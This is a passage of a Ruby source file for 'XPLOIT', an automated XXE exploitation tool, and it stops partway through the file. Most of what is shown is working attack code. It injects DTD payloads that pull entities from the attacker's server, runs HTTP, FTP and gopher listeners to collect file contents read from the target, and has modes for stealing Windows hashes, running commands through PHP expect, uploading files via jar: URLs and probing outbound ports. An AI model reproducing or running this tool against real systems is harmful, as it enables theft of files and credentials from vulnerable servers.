-
Notifications
You must be signed in to change notification settings - Fork 11
/
main.rb
1312 lines (1198 loc) · 43.2 KB
/
main.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env ruby
require 'socket'
require 'fileutils'
require 'uri'
require 'net/http'
require 'net/https'
require 'base64'
require 'readline'
# CONFIGURE
host = "" # our external ip
$path = "" # path to enumerate
$file = "" # file with vulnerable HTTP request
$secfile = "" # file with second request (2nd order)
enum = "ftp" # which out of band protocol should be used for file retrieval - ftp/http/gopher
$logger = "n" # only log requests, do not send anything
$proto = "http" # protocol to use - http/https
$proxy = "" # proxy host
$proxy_port = "" # proxy port
enumports = "" # which ports should be checked if they are unfiltered for reverse connections
phpfilter = "n" # if yes php filter will be used to base64 encode file content - y/n
$urlencode = "n" # if injected DTD should be URL encoded
enumall = "n" # if yes XPLOIT will not ask what to enum (prone to false positives) - y/n
$brute = "" # file with paths to bruteforce
$direct = "" # if direct exploitation should be used, this parameter should contain unique mark between which results are returned
cdata = "n" # if XPLOIT should use CDATA while using direct exploitation
hashes = "n" # steal Windows hashes
upload = "" # upload this file into temp directory using Java jar schema
expect = "" # command that gets executed using PHP expect
$xslt = "n" # tests for XSLT
$test = false # test mode, shows only payload
$dtdi = "y" # if yes then DTD is injected automatically
$rproto = "file" # file or netdoc protocol to retrieve data
$output = "brute.log" # output file for brute and logger modes
$verbose = "n" # verbose messaging
timeout = 10 # timeout for receiving responses
$contimeout = 30 # timeout used to close connection with server
$port = 0 # remote host application port
$remote = "" # remote host URL/IP address
http_port = 80 # http port that receives file contents/directory listings and serves XML files
ftp_port = 21 # ftp port that receives file contents/directory listings
gopher_port = 70 # gopher port that receives file contents/directory listings
jar_port = 1337 # port accepts connections and then sends files
xslt_port = 1337 # port that is used to test for XSLT injection
# holds HTTP responses
$response = ""
# regex to find directory listings
$regex = /^[$.\-_~ 0-9A-Za-z]+$/
# array that holds filenames to enumerate
$filenames = Array.new
# temp path holders - hold next filenames in different formats for enumeration
$nextpath = ""
enumpath = ""
$tmppath = ""
$directpath = ""
# array that contains skipped and allowed paths
blacklist = Array.new
whitelist = Array.new
# other variables
$method = "post" # HTTP method - get/post
cmp = "" # holds user input
switch = 0 # this switch locks enumeration if response is pending
i = 0 # main counter
$time = 1 # HTTP response timeout
# set all variables
ARGV.each do |arg|
host = arg.split("=")[1] if arg.include?("--host=")
$path = arg.split("=")[1] if arg.include?("--path=")
$file = arg.split("=")[1] if arg.include?("--file=")
enum = arg.split("=")[1] if arg.include?("--oob=")
$proto = "https" if arg.include?("--ssl")
$proxy = arg.split("=")[1].split(":")[0] if arg.include?("--proxy=")
$proxy_port = arg.split("=")[1].split(":")[1] if arg.include?("--proxy=")
phpfilter = "y" if arg.include?("--phpfilter")
enumall = "y" if arg.include?("--fast")
$brute = arg.split("=")[1] if arg.include?("--brute=")
$verbose = "y" if arg.include?("--verbose")
xslt_port = arg.split("=")[1] if arg.include?("--xsltport=")
http_port = arg.split("=")[1] if arg.include?("--httpport=")
ftp_port = arg.split("=")[1] if arg.include?("--ftpport=")
gopher_port = arg.split("=")[1] if arg.include?("--gopherport=")
jar_port = arg.split("=")[1] if arg.include?("--jarport=")
timeout = Integer(arg.split("=")[1]) if arg.include?("--timeout=")
hashes = "y" if arg.include?("--hashes")
upload = arg.split("=")[1] if arg.include?("--upload=")
expect = arg.split("=")[1] if arg.include?("--expect=")
enumports = arg.split("=")[1] if arg.include?("--enumports=")
$urlencode = "y" if arg.include?("--urlencode")
$dtdi = "n" if arg.include?("--nodtd")
$xslt = "y" if arg.include?("--xslt")
$direct = arg.split("=")[1] if arg.include?("--direct=")
$logger = "y" if arg.include?("--logger")
$brute = "logger" if arg.include?("--logger")
$output = arg.split("=")[1] if arg.include?("--output=")
$secfile = arg.split("=")[1] if arg.include?("--2ndfile=")
$rproto = "netdoc" if arg.include?("--netdoc")
$contimeout = Integer(arg.split("=")[1]) if arg.include?("--contimeout=")
$port = Integer(arg.split("=")[1]) if arg.include?("--rport=")
$remote = arg.split("=")[1] if arg.include?("--rhost=")
$test = true if arg.include?("--test")
cdata = "y" if arg.include?("--cdata")
end
# show DTD to inject
if ARGV.include? "--dtd"
if host == ""
host = "YOUR_HOST"
end
if http_port == ""
http_port = "HTTPPORT"
end
puts ""
puts "<!DOCTYPE m [ <!ENTITY % remote SYSTEM \"http://#{host}:#{http_port}/file.dtd\">%remote;%int;%trick;]>"
puts ""
exit(1)
# show sample direct exploitation XML
elsif ARGV.include? "--xml"
puts ""
puts "<!DOCTYPE m [ <!ENTITY direct SYSTEM \"XPLOIT\">]><tag>UNIQUEMARK&direct;UNIQUEMARK</tag>"
puts ""
exit(1)
# show sample direct exploitation XML with CDATA
elsif ARGV.include? "--cdata-xml"
if host == ""
host = "YOUR_HOST"
end
if http_port == ""
http_port = "HTTPPORT"
end
puts ""
puts "<!DOCTYPE m [ <!ENTITY % a \"<![CDATA[\"><!ENTITY % local SYSTEM \"XPLOIT\"><!ENTITY % remote SYSTEM \"http://#{host}:#{http_port}/file.dtd\"><!ENTITY % z \"]]>\">%remote;]><tag>UNIQUEMARK&join;UNIQUEMARK</tag>"
puts ""
exit(1)
# show main menu
elsif ARGV.nil? || (ARGV.size < 3 && $logger == "n") || (host == "" && $direct == "" && $logger == "n") || ($file == "" && $logger == "n") || ($path == "" && $brute == "" && hashes == "n" && upload == "" && expect == "" && enumports == "" && $xslt == "n" && $logger == "n")
puts "XPLOIT by Rajesh Majumdar(@freakym0nk)"
puts ""
puts "XPLOIT is an python based automated XXE Exploiter tool."
puts ""
puts "This tool automates retrieving files using direct and out of band methods. Directory listing only works in Java applications. Bruteforcing method needs to be used for other applications."
puts ""
puts "Options:"
puts " --host Mandatory - our IP address for reverse connections. (--host=192.168.0.2)"
puts " --file Mandatory - file containing valid HTTP request with xml. You can also mark with \"TEST\" a point where DTD should be injected. (--file=/tmp/req.txt)"
puts " --path Mandatory if enumerating directories - Path to enumerate. (--path=/etc)"
puts " --brute Mandatory if bruteforcing files - File with paths to bruteforce. (--brute=/tmp/brute.txt)"
puts " --logger Log results only. Do not send requests. HTTP logger looks for \"p\" parameter with results."
puts ""
puts " --rhost Remote host's IP address or domain name. Use this argument only for requests without Host header. (--rhost=192.168.0.3)"
puts " --rport Remote host's TCP port. Use this argument only for requests without Host header and for non-default values. (--rport=8080)"
puts ""
puts " --oob Out of Band exploitation method. FTP is default. FTP can be used in any application. HTTP can be used for bruteforcing and enumeration through directory listing in Java < 1.7 applications. Gopher can only be used in Java < 1.7 applications. (--oob=http/ftp/gopher)"
puts " --direct Use direct exploitation instead of out of band. Unique mark should be specified as a value for this argument. This mark specifies where results of XXE start and end. Specify --xml to see how XML in request file should look like. (--direct=UNIQUEMARK)"
puts " --cdata Improve direct exploitation with CDATA. Data is retrieved directly, however OOB is used to construct CDATA payload. Specify --cdata-xml to see how request should look like in this technique."
puts " --2ndfile File containing valid HTTP request used in second order exploitation. (--2ndfile=/tmp/2ndreq.txt)"
puts " --phpfilter Use PHP filter to base64 encode target file before sending."
puts " --netdoc Use netdoc protocol instead of file (Java)."
puts " --enumports Enumerating unfiltered ports for reverse connection. Specify value \"all\" to enumerate all TCP ports. (--enumports=21,22,80,443,445)"
puts ""
puts " --hashes Steals Windows hash of the user that runs an application."
puts " --expect Uses PHP expect extension to execute arbitrary system command. Best works with HTTP and PHP filter. (--expect=ls)"
puts " --upload Uploads specified file using Java jar schema into temp file. (--upload=/tmp/upload.txt)"
puts " --xslt Tests for XSLT injection."
puts ""
puts " --ssl Use SSL."
puts " --proxy Proxy to use. (--proxy=127.0.0.1:8080)"
puts " --httpport Set custom HTTP port. (--httpport=80)"
puts " --ftpport Set custom FTP port. (--ftpport=21)"
puts " --gopherport Set custom gopher port. (--gopherport=70)"
puts " --jarport Set custom port for uploading files using jar. (--jarport=1337)"
puts " --xsltport Set custom port for XSLT injection test. (--xsltport=1337)"
puts ""
puts " --test This mode shows request with injected payload and quits. Used to verify correctness of request without sending it to a server."
puts " --urlencode URL encode injected DTD. This is default for URI."
puts " --nodtd If you want to put DTD in request by yourself. Specify \"--dtd\" to show how DTD should look like."
puts " --output Output file for bruteforcing and logger mode. By default it logs to brute.log in current directory. (--output=/tmp/out.txt)"
puts " --timeout Timeout for receiving file/directory content. (--timeout=20)"
puts " --contimeout Timeout for closing connection with server. This is used to prevent DoS condition. (--contimeout=20)"
puts " --fast Skip asking what to enumerate. Prone to false-positives."
puts " --verbose Show verbose messages."
puts ""
puts "Example usage:"
puts " Enumerating /etc directory in HTTPS application:"
puts " ruby #{__FILE__} --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --ssl"
puts " Enumerating /etc directory using gopher for OOB method:"
puts " ruby #{__FILE__} --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher"
puts " Second order exploitation:"
puts " ruby #{__FILE__} --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt --2ndfile=/tmp/2ndreq.txt"
puts " Bruteforcing files using HTTP out of band method and netdoc protocol:"
puts " ruby #{__FILE__} --host=192.168.0.2 --brute=/tmp/filenames.txt --file=/tmp/req.txt --oob=http --netdoc"
puts " Enumerating using direct exploitation:"
puts " ruby #{__FILE__} --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK"
puts " Enumerating unfiltered ports:"
puts " ruby #{__FILE__} --host=192.168.0.2 --file=/tmp/req.txt --enumports=all"
puts " Stealing Windows hashes:"
puts " ruby #{__FILE__} --host=192.168.0.2 --file=/tmp/req.txt --hashes"
puts " Uploading files using Java jar:"
puts " ruby #{__FILE__} --host=192.168.0.2 --file=/tmp/req.txt --upload=/tmp/uploadfile.pdf"
puts " Executing system commands using PHP expect:"
puts " ruby #{__FILE__} --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter --expect=ls"
puts " Testing for XSLT injection:"
puts " ruby #{__FILE__} --host=192.168.0.2 --file=/tmp/req.txt --xslt"
puts " Log requests only:"
puts " ruby #{__FILE__} --logger --oob=http --output=/tmp/out.txt"
puts ""
exit(1)
else
puts ""
end
# EXECUTION
### Processing Request File ###
# Configure basic options
# set proxy
if $proxy == ""
$proxy = nil
$proxy_port = nil
end
# get connection host and port
if $logger == "n"
z = 1
loop do
break if File.readlines($file)[z].chomp.empty?
if File.readlines($file)[z].include?("Host: ")
$remote = File.readlines($file)[z].split(" ")[1]
if $remote.include?(":")
$port = $remote.split(":")[1]
$remote = $remote.split(":")[0]
end
end
z = z + 1
end
if $port == 0
if $proto == "http"
$port = 80
else
$port = 443
end
end
end
# Configure main request
def configreq()
found = 0 # for detecting injected DTD
# check HTTP method
if File.readlines($file)[0].include?("GET ")
$method = "get"
end
# get URI path
$uri = File.readlines($file)[0].split(" ")[1]
if $dtdi == "y"
turi = URI.decode($uri).gsub("+", " ")
if turi.include?("XPLOIT")
if $direct != ""
$uri = $uri.sub("XPLOIT", $rproto + ":///#{$directpath}")
found = found + 1
elsif $xslt == "n"
$uri = $uri.sub("XPLOIT", URI.encode($dtd).gsub("%20", "+"))
found = found + 1
else
$uri = $uri.sub("XPLOIT", URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D"))
found = found + 1
end
puts "DTD injected." if $verbose == "y"
elsif turi.include?("<?xml") && $direct == ""
if $xslt == "n"
$uri = $uri.sub("?>", "?>" + URI.encode($dtd).gsub("%20", "+"))
$uri = $uri.sub(/(\?%3e)/i, '\1' + URI.encode($dtd).gsub("%20", "+"))
$uri = $uri.sub(/(%3f>)/i, '\1' + URI.encode($dtd).gsub("%20", "+"))
$uri = $uri.sub(/(%3f%3e)/i, '\1' + URI.encode($dtd).gsub("%20", "+"))
puts "DTD injected." if $verbose == "y"
found = found + 1
else
if turi.match(/(\<\?xml)(.*)(&)/i)
$uri = $uri.sub(/(\<\?xml)(.*)(&)/i, URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D") + "&")
$uri = $uri.sub(/(%3c%3fxml)(.*)(&)/i, URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D") + "&")
$uri = $uri.sub(/(%3c\?xml)(.*)(&)/i, URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D") + "&")
$uri = $uri.sub(/(\<%3fxml)(.*)(&)/i, URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D") + "&")
found = found + 1
elsif turi.match(/(\<\?xml)(.*)/i)
$uri = $uri.sub(/(\<\?xml)(.*)/i, URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D"))
$uri = $uri.sub(/(%3c%3fxml)(.*)/i, URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D"))
$uri = $uri.sub(/(%3c\?xml)(.*)/i, URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D"))
$uri = $uri.sub(/(\<%3fxml)(.*)/i, URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D"))
found = found + 1
end
puts "DTD injected." if $verbose == "y"
end
end
end
# get headers
i = 1
$headers = Hash.new
loop do
break if File.readlines($file)[i].chomp.empty?
if !File.readlines($file)[i].include?("Host: ")
header = File.readlines($file)[i].chomp
if $dtdi == "y"
if header.include?("XPLOIT")
if $direct != ""
header = header.sub("XPLOIT", $rproto + ":///#{$directpath}")
found = found + 1
elsif $urlencode == "y"
if $xslt == "n"
header = header.sub("XPLOIT", URI.encode($dtd).gsub("%20", "+").gsub(";", "%3B"))
else
header = header.sub("XPLOIT", URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D").gsub(";", "%3B"))
end
found = found + 1
else
if $xslt == "n"
header = header.sub("XPLOIT", $dtd)
else
header = header.sub("XPLOIT", $xsl)
end
found = found + 1
end
puts "DTD injected." if $verbose == "y"
end
end
if header.include?("Accept-Encoding") && $direct != ""
else
$headers[header.split(": ")[0]] = header.split(": ")[1]
end
end
i = i + 1
end
# get POST body
i = i + 1
$post = ""
postfind = 0
if $method == "post"
loop do
break if File.readlines($file)[i].nil?
postline = File.readlines($file)[i]
if $dtdi == "y"
tline = URI.decode(postline).gsub("+", " ")
if tline.include?("XPLOIT") && $xslt == "n"
if $direct != ""
postline = postline.sub("XPLOIT", $rproto + ":///#{$directpath}")
found = found + 1
elsif $urlencode == "y"
if $xslt == "n"
postline = postline.sub("XPLOIT", URI.encode($dtd).gsub("%20", "+"))
else
postline = postline.sub("XPLOIT", URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D"))
end
found = found + 1
else
if $xslt == "n"
postline = postline.sub("XPLOIT", $dtd)
else
postline = postline.sub("XPLOIT", $xsl)
end
found = found + 1
end
puts "DTD injected." if $verbose == "y"
elsif tline.include?("XPLOIT") && $xslt == "y"
postfind = 1
elsif tline.include?("<?xml") && $xslt == "n" && $direct == ""
if $urlencode == "y"
postline = postline.sub("?>", "?>" + URI.encode($dtd).gsub("%20", "+"))
postline = postline.sub(/(\?%3e)/i, '\1' + URI.encode($dtd).gsub("%20", "+"))
postline = postline.sub(/(%3f>)/i, '\1' + URI.encode($dtd).gsub("%20", "+"))
postline = postline.sub(/(%3f%3e)/i, '\1' + URI.encode($dtd).gsub("%20", "+"))
found = found + 1
else
postline = postline.sub("?>", "?>" + $dtd)
postline = postline.sub(/(\?%3e)/i, '\1' + $dtd)
postline = postline.sub(/(%3f>)/i, '\1' + $dtd)
postline = postline.sub(/(%3f%3e)/i, '\1' + $dtd)
found = found + 1
end
puts "DTD injected." if $verbose == "y"
elsif tline.include?("<?xml") && $xslt == "y"
postfind = 1
end
end
$post += postline
i = i + 1
end
if postfind == 1
if $urlencode == "y"
if $post.match(/(\<\?xml)(.*)(&)/im) || $post.match(/(%3c%3fxml)(.*)(&)/im) || $post.match(/(%3c\?xml)(.*)(&)/im) || $post.match(/(\<%3fxml)(.*)(&)/im)
$post = $post.sub(/(\<\?xml)(.*)(&)/im, URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D") + "&")
$post = $post.sub(/(%3c%3fxml)(.*)(&)/im, URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D") + "&")
$post = $post.sub(/(%3c\?xml)(.*)(&)/im, URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D") + "&")
$post = $post.sub(/(\<%3fxml)(.*)(&)/im, URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D") + "&")
elsif $post.match(/(\<\?xml)(.*)/im) || $post.match(/(%3c%3fxml)(.*)/im) || $post.match(/(%3c\?xml)(.*)/im) || $post.match(/(\<%3fxml)(.*)/im)
$post = $post.sub(/(\<\?xml)(.*)/im, URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D"))
$post = $post.sub(/(%3c%3fxml)(.*)/im, URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D"))
$post = $post.sub(/(%3c\?xml)(.*)/im, URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D"))
$post = $post.sub(/(\<%3fxml)(.*)/im, URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D"))
else
$post = $post.sub("XPLOIT", URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D"))
end
puts "DTD injected." if $verbose == "y"
found = found + 1
else
if $post.match(/(\<\?xml)(.*)(&)/im) || $post.match(/(%3c%3fxml)(.*)(&)/im) || $post.match(/(%3c\?xml)(.*)(&)/im) || $post.match(/(\<%3fxml)(.*)(&)/im)
$post = $post.sub(/(\<\?xml)(.*)(&)/im, $xsl + "&")
$post = $post.sub(/(%3c%3fxml)(.*)(&)/im, $xsl + "&")
$post = $post.sub(/(%3c\?xml)(.*)(&)/im, $xsl + "&")
$post = $post.sub(/(\<%3fxml)(.*)(&)/im, $xsl + "&")
elsif $post.match(/(\<\?xml)(.*)/im) || $post.match(/(%3c%3fxml)(.*)/im) || $post.match(/(%3c\?xml)(.*)/im) || $post.match(/(\<%3fxml)(.*)/im)
$post = $post.sub(/(\<\?xml)(.*)/im, $xsl)
$post = $post.sub(/(%3c%3fxml)(.*)/im, $xsl)
$post = $post.sub(/(%3c\?xml)(.*)/im, $xsl)
$post = $post.sub(/(\<%3fxml)(.*)/im, $xsl)
else
$post = $post.sub("XPLOIT", $xsl.gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D"))
end
puts "DTD injected." if $verbose == "y"
found = found + 1
end
end
end
# update Content-Length header
if $method == "post"
$headers["Content-Length"] = String($post.bytesize)
end
# detect injected DTD
if found == 0 && $dtdi == "y"
puts "Automatic DTD injection was not successful. Please put \"XPLOIT\" in request file where DTD should be placed or run XPLOIT with --nodtd if DTD was placed manually."
exit(1)
elsif found > 1
puts "Multiple instances of XML found. It may results in false-positives."
end
# configuring request
$request = Net::HTTP.new($remote, $port, $proxy, $proxy_port)
# set HTTPS
if $proto == "https"
$request.use_ssl = true
$request.verify_mode = OpenSSL::SSL::VERIFY_NONE
end
end
### End of Processing Request File ###
### Configure request for 2nd order case ###
if $secfile != ""
# check HTTP method
if File.readlines($secfile)[0].include?("GET ")
$secmethod = "get"
end
# get URI path
$securi = File.readlines($secfile)[0].split(" ")[1]
# get headers
y = 1
$secheaders = Hash.new
loop do
break if File.readlines($secfile)[y].chomp.empty?
if !File.readlines($secfile)[y].include?("Host: ")
header = File.readlines($secfile)[y].chomp
if header.include?("Accept-Encoding")
else
$secheaders[header.split(": ")[0]] = header.split(": ")[1]
end
end
y = y + 1
end
# get POST body
y = y + 1
$secpost = ""
if $method == "post"
loop do
break if File.readlines($secfile)[y].nil?
postline = File.readlines($secfile)[y]
$secpost += postline
y = y + 1
end
end
# configuring 2nd request
$secrequest = Net::HTTP.new($remote, $port, $proxy, $proxy_port)
# set HTTPS
if $proto == "https"
$secrequest.use_ssl = true
$secrequest.verify_mode = OpenSSL::SSL::VERIFY_NONE
end
end
### End of Processing 2nd Request File ###
# Sending request
def sendreq()
if $test == true
puts "URL:"
if $proto == "http"
puts "http://#{$remote}:#{$port}#{$uri}"
else
puts "https://#{$remote}:#{$port}#{$uri}"
end
puts "\nHeaders:"
puts $headers
if $method == "post"
puts "\nPOST body:"
puts $post
end
exit(1)
end
if $verbose == "y"
puts "Sending request with malicious XML:"
if $proto == "http"
puts "http://#{$remote}:#{$port}#{$uri}"
puts $headers
puts "\n"
puts $post
puts "\n"
else
puts "https://#{$remote}:#{$port}#{$uri}"
puts $headers
puts "\n"
puts $post
puts "\n"
end
else
puts "Sending request with malicious XML."
end
$response = ""
$request.start { |r|
begin
status = Timeout::timeout($time) {
if $method == "post"
$response = r.post($uri, $post, $headers)
else
$response = r.get($uri, $headers)
end
}
rescue Timeout::Error
end
}
end
# Sending second request
def send2ndreq()
if $verbose == "y"
puts "Sending second request:"
if $proto == "http"
puts "http://#{$remote}:#{$port}#{$securi}"
puts $secheaders
puts "\n"
puts $secpost
puts "\n"
else
puts "https://#{$remote}:#{$port}#{$securi}"
puts $secheaders
puts "\n"
puts $secpost
puts "\n"
end
else
puts "Sending second request."
end
$response = ""
$secrequest.start { |r|
begin
status = Timeout::timeout($time) {
if $method == "post"
$response = r.post($securi, $secpost, $secheaders)
else
$response = r.get($securi, $secheaders)
end
}
rescue Timeout::Error
end
}
end
# logging to separate file or output file if in bruteforce mode
def log(param)
if $brute == ""
logpath = "#{$path}"
if $direct == ""
if $tmppath != "" && logpath[-1] != "/"
logpath += "/"
end
logpath += "#{$tmppath}"
else
if $nextpath != "" && logpath[-1] != "/"
logpath += "/"
end
logpath += "#{$nextpath}"
end
logpath = logpath.gsub('\\','/')
logpath[0] = "" if logpath[0] == "/"
logpath[-1] = "" if logpath[-1] == "/"
if $tmppath != ""
FileUtils.mkdir_p "Logs/" + $remote + "/" + logpath.split("/")[0..-2].join('/')
else
if logpath.include?("/")
FileUtils.mkdir_p "Logs/" + $remote + "/" + logpath.split("/")[0..-2].join('/')
else
FileUtils.mkdir_p "Logs/" + $remote + "/" + logpath
end
end
if $done == 0
if $cut == 1
puts "Successfully logged file: /#{logpath}"
else
if logpath[-1] == ":"
puts "Successfully logged file: #{logpath}/"
else
puts "Successfully logged file: #{logpath}"
end
end
$done = 1
end
if logpath == ""
log = File.open("Logs/" + $remote + "/" + "rootdir.log", "a")
else
log = File.open("Logs/" + $remote + "/" + "#{logpath}.log", "a")
end
log.write param
log.close
else
log = File.open($output, "a")
log.write param
puts "Next results:\n#{param}\n" if $logger == "y" || $verbose == "y"
print "> " if $logger == "y"
log.close
end
end
# pushing enumerated items to an array
def pusharr(param)
if $brute == ""
param = param.chomp
if param.match $regex
if $direct == ""
logp = $tmppath
if $tmppath != ""
logp += "/"
end
else
logp = $nextpath
if $nextpath != ""
logp += "/"
end
end
logp += param
$filenames.push(logp)
puts "Path pushed to array: #{logp}" if $verbose == "y"
end
end
end
# initial changes
# set longer timeout for direct exploitation
if $direct != ""
$time = 30
end
# Remove first slash if unix-like path specified
$cut = 0
if $path[0] == "/"
$path[0] = ''
$cut = 1
end
# Remove slash at the end if not Windows drive
if $path[-1] == "/" && $path[-2] != ":"
$path[-1] = ''
end
# Add some changes to Windows path
if $cut == 0
$path += '/' if $path[-1] == ":"
$path = $path.gsub("\\", "/")
end
# configure payloads
# DTD to inject
$dtd = "<!DOCTYPE convert [ <!ENTITY % remote SYSTEM \"http://#{host}:#{http_port}/file.dtd\">%remote;%int;%trick;]>"
# XSL to inject
$xsl = "<?xml version=\"1.0\"?><xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"><xsl:template match=\"/\"><xsl:variable name=\"cmd\" select=\"document('http://#{host}:#{xslt_port}/success')\"/><xsl:value-of select=\"$cmd\"/></xsl:template></xsl:stylesheet>"
# Starting servers
begin
if ($xslt == "n" && enumports == "" && $logger == "n") || ($logger == "y" && enum == "http") || ($direct != "" && cdata == "y")
http = TCPServer.new http_port
end
if enum == "ftp" && $xslt == "n" && enumports == "" && $direct == ""
ftp = TCPServer.new ftp_port
end
if enum == "gopher" && $xslt == "n" && enumports == "" && $direct == ""
gopher = TCPServer.new gopher_port
end
if upload != ""
jar = TCPServer.new jar_port
end
if $xslt == "y"
xsltserv = TCPServer.new xslt_port
end
rescue Errno::EADDRINUSE
puts "Specified TCP ports already in use."
exit(1)
end
# HTTP for XML serving and data retrival
Thread.start do
loop do
Thread.start(http.accept) do |client|
$done = 0
$tmppath = $nextpath
loop {
params = {}
req = client.gets()
break if req.nil?
# HTTP XML serving
if req.include? "file.dtd"
puts "Got request for XML:\n#{req}\n" if $verbose == "y"
if hashes == "n" && upload == "" && expect == ""
if $cut == 1
puts "Responding with XML for: /#{enumpath}"
else
puts "Responding with XML for: #{enumpath}"
end
else
puts "Responding with proper XML."
end
# respond with proper XML
if cdata == "y"
payload = "<!ENTITY join \"%a;%local;%z;\">"
client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}")
elsif hashes == "y"
payload = "<!ENTITY % payl \"hashes\">\r\n<!ENTITY % int \"<!ENTITY % trick SYSTEM '#{$rproto}:////#{host}/hash/hash.txt'>\">"
client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}")
elsif upload != ""
payload = "<!ENTITY % payl \"upload\">\r\n<!ENTITY % int \"<!ENTITY % trick SYSTEM 'jar:http://#{host}:#{jar_port}!/upload'>\">"
client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}")
